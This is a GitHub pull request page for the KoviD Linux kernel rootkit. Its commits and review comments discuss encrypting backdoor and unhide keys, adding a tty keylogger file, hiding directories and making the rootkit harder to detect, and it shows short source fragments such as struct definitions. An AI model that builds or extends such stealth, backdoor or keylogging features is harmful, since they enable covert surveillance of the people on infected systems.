Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kvdev #177

Merged
merged 18 commits into from
Jan 6, 2025
Merged

Kvdev #177

merged 18 commits into from
Jan 6, 2025

Conversation

carloslack
Copy link
Owner

No description provided.

JNE and others added 15 commits January 3, 2025 10:00
Just like back-door key, encrypt unhide as well.
Also applied drive-by fixes
Also: 	crypto: re-work API names init
	Re-organize error exit
Move it from source code to
Makefile and highlight important
build information.
Also API now expects struct file and list_head
Note: multiple contexts untested, unsupported for now.
and remove useless copy modification
This is not a fix, need to work out how
it the test will understand the difference
broken by this commit (debug only):
        get-bdkey
        get-unhidekey

Both commands need now to fetch the keys from mgc
Debug mode only.

decrypt and present to user via proc UI.
@carloslack carloslack requested a review from djolertrk January 4, 2025 12:02
src/kovid.c Fixed Show fixed Hide fixed
@@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \
EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}

SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \
src/sock.c src/util.c src/vm.c src/crypto.c
src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you please add this into https://github.com/carloslack/KoviD/blob/master/CMakeLists.txt#L109 as well? It is not being used by default (yet), but at least let it compile, so just add that source into the list.

#ifndef __AUTO_H
#define __AUTO_H

static uint64_t __attribute__((unused)) auto_bdkey = 0x0000000000000000;
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice

Comment on lines -44 to -47
#ifdef DEBUG_RING_BUFFER
#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!"
#endif

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why do you think this message is not useful anymore?

@@ -476,19 +472,51 @@ static const match_table_t tokens = {
{ Opt_unhide_directory, "unhide-directory=%s" },

{ Opt_journalclt, "journal-flush" },
{ Opt_fetch_base_address, "base-address=%d" },
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks :D

src/kovid.c Outdated
Comment on lines 483 to 487
struct userdata_t {
bool ok;
int op;
uint64_t address_value;
};
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

struct userdata_t {
	uint64_t address_value;
	int op;
	bool ok;
};

better layout for the struct, right?

snprintf(bits, 32, "%lx", auto_bdkey);
set_elfbits(bits);
} break;
case Opt_get_bdkey:
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

cool, looks good

src/kovid.c Outdated
Comment on lines 487 to 490
struct check_unhidekey_t {
bool ok;
uint64_t address_value;
};
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

struct check_unhidekey_t {
    uint64_t address_value;
    bool ok;
};

src/tty.c Outdated
Comment on lines 14 to 19
struct keylog_t {
char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */
int offset;
uid_t uid;
struct list_head list;
};
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the layout can be better

JNE added 2 commits January 6, 2025 09:59
It is a weakness having them
Suppose you want to find the rootkit?

$ >kv
$ ls kv
@carloslack carloslack merged commit e1020fa into master Jan 6, 2025
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants